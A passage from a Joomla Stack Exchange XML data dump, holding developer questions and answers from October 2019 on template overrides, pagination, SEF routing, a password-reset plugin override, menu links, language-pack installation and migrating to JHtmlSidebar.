JRoute::_(ContactHelperRoute::getContactRoute($item-&amp;gt;slug, $item-&amp;gt;catid)); ?&amp;gt;&quot;&amp;gt;&#xA;                                    &amp;lt;?php echo $item-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;&#xA;                            &amp;lt;td class=&quot;item-linha-de-pesquisa&quot; data-label=&quot;Linha de Pesquisa&quot;&amp;gt;&#xA;                                    &amp;lt;?php echo $item-&amp;gt;address; ?&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;&#xA;                            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_position_headings')) : ?&amp;gt;&#xA;                                &amp;lt;td class=&quot;item-position&quot; data-label=&quot;&amp;lt;?php echo JText::_('COM_CONTACT_POSITION'); ?&amp;gt;&quot;&amp;gt;&#xA;                                    &amp;lt;?php echo $item-&amp;gt;con_position; ?&amp;gt;&#xA;                                &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_email_headings')) : ?&amp;gt;&#xA;                                &amp;lt;td class=&quot;item-email&quot; data-label=&quot;&amp;lt;?php echo JText::_('JGLOBAL_EMAIL'); ?&amp;gt;&quot;&amp;gt;&#xA;                                    &amp;lt;?php echo $item-&amp;gt;email_to; ?&amp;gt;&#xA;                                &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_telephone_headings')) : ?&amp;gt;&#xA;                                &amp;lt;td class=&quot;item-phone&quot; data-label=&quot;&amp;lt;?php echo JText::_('COM_CONTACT_TELEPHONE'); ?&amp;gt;&quot;&amp;gt;&#xA;                                    &amp;lt;?php echo $item-&amp;gt;telephone; ?&amp;gt;&#xA;                                &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_mobile_headings')) : ?&amp;gt;&#xA;                                &amp;lt;td class=&quot;item-phone&quot; data-label=&quot;&amp;lt;?php echo JText::_('COM_CONTACT_MOBILE'); ?&amp;gt;&quot;&amp;gt;&#xA;                                    &amp;lt;?php echo $item-&amp;gt;mobile; ?&amp;gt;&#xA;                                &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_fax_headings')) : ?&amp;gt;&#xA;                            &amp;lt;td class=&quot;item-phone&quot; data-label=&quot;&amp;lt;?php echo JText::_('COM_CONTACT_FAX'); ?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;?php echo $item-&amp;gt;fax; ?&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_suburb_headings')) : ?&amp;gt;&#xA;                            &amp;lt;td class=&quot;item-suburb&quot; data-label=&quot;&amp;lt;?php echo JText::_('COM_CONTACT_SUBURB'); ?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;?php echo $item-&amp;gt;suburb; ?&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_state_headings')) : ?&amp;gt;&#xA;                            &amp;lt;td class=&quot;item-state&quot; data-label=&quot;&amp;lt;?php echo JText::_('COM_CONTACT_STATE'); ?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;?php echo $item-&amp;gt;state; ?&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_country_headings')) : ?&amp;gt;&#xA;                            &amp;lt;td class=&quot;item-state&quot; data-label=&quot;&amp;lt;?php echo JText::_('COM_CONTACT_COUNTRY'); ?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;?php echo $item-&amp;gt;country; ?&amp;gt;&#xA;                            &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;                &amp;lt;/tbody&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php //pagination doesn't work&#xA;    if ($this-&amp;gt;params-&amp;gt;get('show_pagination')) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;            &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;def('show_pagination_results', 1)) : ?&amp;gt;&#xA;            &amp;lt;p class=&quot;counter&quot;&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getPagesCounter(); ?&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getPagesLinks(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order&quot; value=&quot;&amp;lt;?php echo $listOrder; ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order_Dir&quot; value=&quot;&amp;lt;?php echo $listDirn; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know if there's a better way, it doesn't look like an elegant solution. And the pagination is making me so mad. I can't get $this-&gt;pagination-&gt;limitstart the &quot;right&quot; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to get all contacts (on the same list, not separated by category) or to fix this pagination?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using J! 3.9.11&lt;/p&gt;&#xA;" OwnerUserId="13836" LastEditorUserId="13836" LastEditDate="2019-10-14T13:15:40.693" LastActivityDate="2019-10-14T13:15:40.693" Title="List every contact including the ones in subcategories" Tags="|development|overrides|pagination|contact|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26258" PostTypeId="2" ParentId="26252" CreationDate="2019-10-14T06:40:20.397" Score="2" Body="&lt;p&gt;You can use a plugin &lt;code&gt;onAfterRoute&lt;/code&gt; event to override controller tasks in a sense. It's not perfect but it beats core hacking. The following example mimics &lt;code&gt;UsersControllerReset:request()&lt;/code&gt; but redirects to confirmation page even when model returns &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\CMS\Router\Route;&#xA;&#xA;class PlgSystemExample extends CMSPlugin&#xA;{&#xA;    protected $app;&#xA;&#xA;    public function onAfterRoute()&#xA;    {&#xA;        // Check that we are performing the correct task.&#xA;        if ($this-&amp;gt;app-&amp;gt;input-&amp;gt;get('option') === 'com_users' &amp;amp;&amp;amp; $this-&amp;gt;app-&amp;gt;input-&amp;gt;get('task') === 'reset.request')&#xA;        {&#xA;            $this-&amp;gt;request();&#xA;        }&#xA;    }&#xA;&#xA;    protected function request()&#xA;    {&#xA;        // Check the request token.&#xA;        if (!$this-&amp;gt;app-&amp;gt;getSession()-&amp;gt;checkToken('post'))&#xA;        {&#xA;            $this-&amp;gt;app-&amp;gt;enqueueMessage(Text::_('JINVALID_TOKEN_NOTICE'), 'error');&#xA;            $this-&amp;gt;app-&amp;gt;redirect(Route::_('index.php?option=com_users&amp;amp;view=reset', false));&#xA;        }&#xA;&#xA;        $option = $this-&amp;gt;app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;        // Define component paths. The model may need them.&#xA;        if (!defined('JPATH_COMPONENT'))&#xA;        {&#xA;            define('JPATH_COMPONENT', JPATH_BASE . '/components/' . $option);&#xA;        }&#xA;&#xA;        if (!defined('JPATH_COMPONENT_SITE'))&#xA;        {&#xA;            define('JPATH_COMPONENT_SITE', JPATH_SITE . '/components/' . $option);&#xA;        }&#xA;&#xA;        if (!defined('JPATH_COMPONENT_ADMINISTRATOR'))&#xA;        {&#xA;            define('JPATH_COMPONENT_ADMINISTRATOR', JPATH_ADMINISTRATOR . '/components/' . $option);&#xA;        }&#xA;&#xA;        // Load com_users language files.&#xA;        $this-&amp;gt;app-&amp;gt;getLanguage()-&amp;gt;load('com_users');&#xA;&#xA;        // Register com_users models.&#xA;        JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_users/models', 'UsersModel');&#xA;&#xA;        // Fetch the model.&#xA;        $model = JModelLegacy::getInstance('Reset', 'UsersModel');&#xA;&#xA;        // Submit the password reset request.&#xA;        $data   = $this-&amp;gt;app-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;        $return = $model-&amp;gt;processResetRequest($data);&#xA;&#xA;        // Check for a hard error. It can occur when sending mail fails.&#xA;        if ($return instanceof Exception)&#xA;        {&#xA;            // Get the error message to display.&#xA;            if ($this-&amp;gt;app-&amp;gt;get('error_reporting'))&#xA;            {&#xA;                $message = $return-&amp;gt;getMessage();&#xA;            }&#xA;            else&#xA;            {&#xA;                $message = Text::_('COM_USERS_RESET_REQUEST_ERROR');&#xA;            }&#xA;&#xA;            // Go back to the request form.&#xA;            $this-&amp;gt;app-&amp;gt;enqueueMessage($message, 'error');&#xA;            $this-&amp;gt;app-&amp;gt;redirect(Route::_('index.php?option=com_users&amp;amp;view=reset', false));&#xA;        }&#xA;&#xA;        // Redirect to confirmation page.&#xA;        $this-&amp;gt;app-&amp;gt;redirect(Route::_('index.php?option=com_users&amp;amp;view=reset&amp;amp;layout=confirm', false));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-10-14T06:40:20.397" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26259" PostTypeId="1" AcceptedAnswerId="26260" CreationDate="2019-10-14T06:53:52.613" Score="2" ViewCount="490" Body="&lt;p&gt;I would like to create a link in Administrator Panel that redirect a user to an SEF url in Frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code in Backend&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$link = JUri::root() . 'index.php?option=com_content&amp;amp;view=article&amp;amp;id=1';&#xA;echo '&amp;lt;a href=&quot;'. JRoute::_($link) . '&quot;&amp;gt;Test&amp;lt;/a&amp;gt;'&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can't be translated to SEF because I use &lt;code&gt;JUri::root()&lt;/code&gt; in my &lt;code&gt;$link&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's possible, what is the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="13837" LastEditorUserId="12352" LastEditDate="2019-10-14T08:00:28.423" LastActivityDate="2019-10-14T08:00:28.423" Title="Create a link from Backend to SEF Path in Frontend" Tags="|joomla-3.x|administrator|sef|front-end|jroute|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26260" PostTypeId="2" ParentId="26259" CreationDate="2019-10-14T07:20:04.813" Score="6" Body="&lt;p&gt;Since 3.9 there's &lt;code&gt;Joomla\CMS\Router\Route::link()&lt;/code&gt; method which takes client (site or administrator) as first argument.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$link = 'index.php?option=com_content&amp;amp;view=article&amp;amp;id=1';&#xA;echo '&amp;lt;a href=&quot;' . JRoute::link('site', $link) . '&quot;&amp;gt;Test&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have the article object available, you should use &lt;code&gt;ContentHelperRoute::getArticleRoute()&lt;/code&gt; and pass the slug instead of ID to remove extra database query and also category and language to ensure correct routing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register helper class.&#xA;JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');&#xA;&#xA;$link = ContentHelperRoute::getArticleRoute($article-&amp;gt;id . ':' . $article-&amp;gt;alias, $article-&amp;gt;catid, $article-&amp;gt;language);&#xA;echo '&amp;lt;a href=&quot;' . JRoute::link('site', $link) . '&quot;&amp;gt;Test&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-10-14T07:20:04.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26261" PostTypeId="2" ParentId="26256" CreationDate="2019-10-14T07:54:59.987" Score="1" Body="&lt;p&gt;Here's the glaring issue that I can detect via Google Chrome's developer tools...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have multiple instances of the element &lt;code&gt;id&lt;/code&gt; (one nested inside another) that you are attempting to access.  &lt;code&gt;id&lt;/code&gt; attributes need to be unique on a document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TfT3x.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TfT3x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I strongly urge you to make the the necessary changes to make the id attributes unique before progressing with your application (this is not only a matter of writing good markup, it is a matter of stability as you're seeing first-hand the implications).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you need to increase the specificity of your selector so that jQuery knows precisely which element you wish to access.  Fortunately, the adjustment is super simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('input#dateReceived').val();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/stKrF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/stKrF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-10-14T07:54:59.987" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26262" PostTypeId="2" ParentId="26246" CreationDate="2019-10-14T12:07:34.297" Score="0" Body="&lt;p&gt;The file which manages this is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/var/www/wychavon.gov.uk/public_html/plugins/content/joomla/joomla.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And have also created a language constant override for 'COM_CONTENT_ON_NEW_CONTENT'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;⚠️IMPORTANT to note⚠️ The joomla.php file is part of the core Joomla plugins, but it is not part of a layout, so we can't put it in as an override. There is a backup of the original file and a copy of the new file here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/var/www/wychavon.gov.uk/public_html/plugins/content/joomla/joomla.backup.php&#xA;/var/www/wychavon.gov.uk/public_html/plugins/content/joomla/joomla.new.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing core files is definitely NOT recommended and I wouldn't normally do it, but this seemed to be the only way to make this change within the message. There is some potential that this file will be overwritten in the future releases, that's why I've created a joomla.new.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only change that has been made on the file is on line 88 I've changed it from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'message' =&amp;gt; sprintf($lang-&amp;gt;_('COM_CONTENT_ON_NEW_CONTENT'), $user-&amp;gt;get('name'), $article-&amp;gt;title)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'message' =&amp;gt; sprintf($lang-&amp;gt;_('COM_CONTENT_ON_NEW_CONTENT'), $user-&amp;gt;get('name'), $article-&amp;gt;title, $article-&amp;gt;id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The language constant (COM_CONTENT_ON_NEW_CONTENT) has then been overridden (you will see this in backend &gt; Extensions &gt; Languages &gt; Overrides) from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A new Article has been submitted by '%1$s' entitled '%2$s.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2019-10-14T12:07:34.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26263" PostTypeId="2" ParentId="23075" CreationDate="2019-10-14T12:47:13.410" Score="1" Body="&lt;p&gt;A bit late to the party, but i was wondering the same thing.&#xA;If you don't set the version yourself in the options off addScript, Joomla will check in the joomla library extension database table row.&#xA;If the parameter if not set, or if you are in debug mode, it will generate a new version.&#xA;So, to get a new version, just switch joomla debug on then off. &lt;/p&gt;&#xA;" OwnerUserId="12604" LastEditorUserId="12604" LastEditDate="2019-10-14T12:52:25.527" LastActivityDate="2019-10-14T12:52:25.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26264" PostTypeId="1" AcceptedAnswerId="26265" CreationDate="2019-10-14T13:57:10.323" Score="0" ViewCount="279" Body="&lt;p&gt;I want to be able to select multiple values with the SQL custom field. Is this possible? When I use a query which as multiple results, I can only pick one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this post: &lt;a href=&quot;https://joomla.stackexchange.com/questions/5480/creating-custom-field-type-multiselect-list-how-to-save-the-values&quot;&gt;Creating custom field type multiselect list - how to save the values?&lt;/a&gt; But this is for creating a new custom field, I would like to change the SQL field a bit. I'm using joomla 3.9.1 &lt;/p&gt;&#xA;" OwnerUserId="12088" LastActivityDate="2019-10-14T15:04:16.057" Title="Is it possible to edit the SQL custom field to be multi-select?" Tags="|joomla-3.x|custom-field|form-fields-types|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26265" PostTypeId="2" ParentId="26264" CreationDate="2019-10-14T14:11:13.457" Score="2" Body="&lt;p&gt;When creating/editing the field, set &lt;code&gt;Multiple&lt;/code&gt; option to &lt;code&gt;Yes&lt;/code&gt;. Or edit &lt;code&gt;Fields - SQL&lt;/code&gt; plugin to enable multiple option globally for all SQL fields.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-10-14T15:04:16.057" LastActivityDate="2019-10-14T15:04:16.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26266" PostTypeId="1" CreationDate="2019-10-14T14:14:38.263" Score="1" ViewCount="118" Body="&lt;p&gt;Better title might be 'How to set the menuItem object 'link' property?'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used menu overrides for a variety of purposes such as changing layout and styling etc but would now like to change the href of a menu item with a certain alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the attributes are built like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attributes = array();&#xA;&#xA;if ($item-&amp;gt;anchor_title)&#xA;{&#xA;    $attributes['title'] = $item-&amp;gt;anchor_title;&#xA;}&#xA;&#xA;if ($item-&amp;gt;anchor_css)&#xA;{&#xA;    $attributes['class'] = $item-&amp;gt;anchor_css;&#xA;}&#xA;&#xA;if ($item-&amp;gt;anchor_rel)&#xA;{&#xA;    $attributes['rel'] = $item-&amp;gt;anchor_rel;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch ($item-&amp;gt;alias) {&#xA;  case 'specificAlias':&#xA;    $attributes['href'] = &quot;www.desired_link.com&quot;;&#xA;    $linktype = $item-&amp;gt;title;&#xA;    break;&#xA;  default:&#xA;    $linktype = $item-&amp;gt;title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$item['link'] = &quot;www.theDesiredLink.com&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will be working out the URL dynamically which is why I can't set it manually for the menu item.&lt;/p&gt;&#xA;" OwnerUserId="13701" LastEditorUserId="13701" LastEditDate="2019-10-14T14:33:48.593" LastActivityDate="2019-10-14T14:40:36.050" Title="How to override a link's href attribute in mod_menu?" Tags="|overrides|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26267" PostTypeId="2" ParentId="26266" CreationDate="2019-10-14T14:40:36.050" Score="1" Body="&lt;p&gt;Need to use the 'flink' property in the $item object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full solution was as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch ($item-&amp;gt;alias) {&#xA;  case 'a specific alias':&#xA;    $item-&amp;gt;flink = &quot;the desired URL&quot;;&#xA;    $linktype = $item-&amp;gt;title;&#xA;    break;&#xA;  default:&#xA;    $linktype = $item-&amp;gt;title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13701" LastActivityDate="2019-10-14T14:40:36.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26268" PostTypeId="2" ParentId="24870" CreationDate="2019-10-14T14:45:37.707" Score="2" Body="&lt;p&gt;For anybody else running into this, I ended up solving it using the installation script linked to in my question, after correctly locating the latest language file version as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LANGUAGE=ga-IE&#xA;cd $JPATH_ROOT&#xA;PACKAGE_URL=`curl -s https://update.joomla.org/language/details3/${LANGUAGE}_details.xml | grep downloadurl | tail -1 | sed -r 's/.*&amp;gt;(.*)&amp;lt;.*/\1/'`&#xA;wget -O /tmp/$LANGUAGE.zip $PACKAGE_URL&#xA;php ./install-joomla-extension.php --package=/tmp/$LANGUAGE.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="454" LastActivityDate="2019-10-14T14:45:37.707" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26269" PostTypeId="1" AcceptedAnswerId="26275" CreationDate="2019-10-14T16:36:37.483" Score="0" ViewCount="35" Body="&lt;p&gt;Is it possible to remove the default settings (sidebar) in &lt;strong&gt;fieldset name=&quot;basic&quot;&lt;/strong&gt; (Display title, module position, state etc...) and put them in a separate custom tab?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SB3RX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SB3RX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12766" LastActivityDate="2019-10-16T08:02:34.080" Title="Remove default settings from fieldset basic in module" Tags="|module|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26270" PostTypeId="1" AcceptedAnswerId="26272" CreationDate="2019-10-15T08:57:34.010" Score="1" ViewCount="330" Body="&lt;p&gt;The only source I found about this is from this post: &lt;a href=&quot;https://joomla.stackexchange.com/questions/22475/replacing-jsubmenuhelper-with-jhtmlsidebar-administrative-menu-in-joomla-4&quot;&gt;Replacing JSubmenuHelper with JHtmlSidebar / Administrative menu in Joomla 4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue here is that I tried it, and it doesn't show the Sidebar if I try it with &lt;code&gt;JHtmlSidebar&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function render($config = array())&#xA;{&#xA;    $config = new KObjectConfigJson($config);&#xA;    $config-&amp;gt;append(array(&#xA;        'toolbar' =&amp;gt; null&#xA;    ));&#xA;&#xA;    foreach ($config-&amp;gt;toolbar-&amp;gt;getCommands() as $command)&#xA;    {&#xA;        if(!empty($command-&amp;gt;href)) {&#xA;            $command-&amp;gt;href = $this-&amp;gt;getTemplate()-&amp;gt;route($command-&amp;gt;href);&#xA;        }&#xA;&#xA;        JSubmenuHelper::addEntry($this-&amp;gt;getObject('translator')-&amp;gt;translate($command-&amp;gt;label), $command-&amp;gt;href, $command-&amp;gt;active);&#xA;&#xA;    }&#xA;&#xA;    return '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this, &lt;code&gt;JSubmenuHelper::addEntry&lt;/code&gt; should be replaced with the &lt;code&gt;JHtmlSidebar&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to change the line to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtmlSidebar::addEntry($this-&amp;gt;getObject('translator')-&amp;gt;translate($command-&amp;gt;label), $command-&amp;gt;href, $command-&amp;gt;active);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to        &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtmlSidebar::render($this-&amp;gt;getObject('translator')-&amp;gt;translate($command-&amp;gt;label), $command-&amp;gt;href, $command-&amp;gt;active);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but on with &lt;code&gt;addEntry&lt;/code&gt; the sidebar is hidden and with &lt;code&gt;render()&lt;/code&gt; there is no content in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong with the attempts that I already tried?&lt;/p&gt;&#xA;" OwnerDisplayName="user12377" LastEditorUserId="12352" LastEditDate="2019-10-15T09:09:43.093" LastActivityDate="2019-10-15T10:51:59.657" Title="As JSubmenuHelper is deprecated, how to migrate to JHtmlSidebar?" Tags="|joomla-3.x|migration|joomla-4.x|sidebar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26271" PostTypeId="1" CreationDate="2019-10-15T10:49:51.400" Score="0" ViewCount="51" Body="&lt;p&gt;How do we alter the output of a Plugin that is installed in a Component (Example: &quot;ABC&quot; plugin installed in a Component &quot;ABCD&quot;)? I understand that the core files can't be overridden. But how do we tell which one is the core file and which file is not the core file and it can be overridden? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the &quot;Create Overrides&quot; tab but the plugin &quot;ABC&quot; is not available even though it is installed and enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Referring to all components, modules and plugins. How to write the override path for it? Is there an override folder structure that we need to follow if it is a component, module or plugin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologise for the initial question that was too broad and unclear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise. Thanks&lt;/p&gt;&#xA;" OwnerUserId="13818" LastEditorUserId="13818" LastEditDate="2019-10-16T10:52:57.263" LastActivityDate="2019-10-16T12:13:44.543" Title="How to tell if the file can be overridden?" Tags="|joomla-3.x|component|overrides|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26272" PostTypeId="2" ParentId="26270" CreationDate="2019-10-15T10:51:59.657" Score="2" Body="&lt;p&gt;You will firstly need to create a helper class that extends &lt;code&gt;ContentHelper&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;administrator/components/com_mycomponent/Helper/MyComponentHelper.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Helper\ContentHelper;&#xA;&#xA;class MyComponentHelper extends ContentHelper&#xA;{&#xA;    protected $config = null;&#xA;&#xA;    public function __construct($config)&#xA;    {&#xA;        $this-&amp;gt;config = new KObjectConfigJson($config);&#xA;        $this-&amp;gt;config-&amp;gt;append(array(&#xA;            'toolbar' =&amp;gt; null&#xA;        ));&#xA;    }&#xA;&#xA;    public static function addSubmenu()&#xA;    {&#xA;        foreach ($this-&amp;gt;config-&amp;gt;toolbar-&amp;gt;getCommands() as $command)&#xA;        {&#xA;            if (!empty($command-&amp;gt;href))&#xA;            {&#xA;                $command-&amp;gt;href = $this-&amp;gt;getTemplate()-&amp;gt;route($command-&amp;gt;href);&#xA;            }&#xA;&#xA;            \JHtmlSidebar::addEntry(&#xA;                $this-&amp;gt;getObject('translator')-&amp;gt;translate($command-&amp;gt;label),&#xA;                $command-&amp;gt;href,&#xA;                $command-&amp;gt;active&#xA;            );&#xA;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the following directory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  